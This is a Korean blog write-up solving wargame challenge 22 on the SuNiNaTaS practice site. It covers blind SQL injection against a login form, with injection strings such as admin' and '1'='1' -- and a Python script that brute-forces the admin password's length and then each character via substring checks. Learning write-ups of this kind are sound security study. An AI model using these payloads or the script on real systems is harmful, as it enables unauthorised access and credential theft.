반응형
더보기
time based BSQLi로 풀려고 했는데 딜레이도 슬립도 안먹는 것 같음
LOS에서 썻던 코드 재활용할라캤는데 아쉽아쉽
차피 OK 메세지로 확인가능하니까 기술적으로는 이게 쉽긴 할 듯
써니나타스 22번 풀이
guest' -- 로 로그인 가능 #은 필터링 되는 듯
로그인시 OK "ID"가 출력됨
이걸 이용해서 BSQLi 진행하도록 해야함
admin' and '1'='1' -- 로도 로그인 됨
이걸로 and 뒤에 조건 바꿔가면서 비밀번호 특정하면 됨
MSSQL인가...
len(pw)로 일단 비밀번호 문자수 알아내고
이제 한글자씩 브루트포싱하면 되는데
ascii, right, left를 고냥 필터링하네;;;;
ascii(right(left(pw,'+str(cursor)+'),1)
원래 substring 우회할려고 조합해둔건데 이건 뭐 그냥 substring 쓰면 더 편하긴한데 특이하네 ㅋㅋ
guest' and substring(pw,1,1) = 'g'--
이걸로 테스트 해보니 정상통과~ 인덱싱이 0에서 시작인지 1에서 시작인지 헷갈렸으나 찾아보니 1부터시작(0부터하면 가상공간 잡아서 한다고 함 쓸데없다는 듯)
이제부터는 그냥 브루트포싱 짜면 끝~
import requests
url = 'http://suninatas.com/challenge/web22/web22.asp'
#stage 0:
for i in range(0,100):
payload = "admin' and "
payload += "len(pw) = '" + str(i) +"'"
payload += "--"
data = {"id" : payload , "pw" : "r3dzone"}
res = requests.get(url=url, data=data)
print i
if("OK" in res.text):
print "OK pw length leaked, pw len is " + str(i)
print payload
PwLen = i
break
pw = ""
for cursor in range(1,PwLen+1):
for i in range(0,127): #ascii range
payload = "admin' and "
payload += "substring(pw,"+str(cursor)+",1) = '"+chr(i)+"'--"
data = {"id" : payload , "pw" : "r3dzone"}
res = requests.get(url=url, data=data)
#print res.text
if("OK" in res.text):
pw += chr(i)
print pw
print "OK BSQLi Success"
break
print pw
한 큐에 잘짜서 좋았는데 아스키 범위를 문자열 범위로만 줘서 2트함 ㅠㅠ 아쉽네
알아낸 비밀번호를 인증하면 끝
'wargame > Suninatas' 카테고리의 다른 글
써니나타스 #18번 풀이 (0) | 2020.08.04 |
---|---|
써니나타스 #23번 풀이 (0) | 2020.08.04 |
써니나타스 #8 풀이 (0) | 2020.08.02 |
써니나타스 #7번 풀이 (0) | 2020.08.02 |
써니나타스 #6번 풀이 (0) | 2020.08.02 |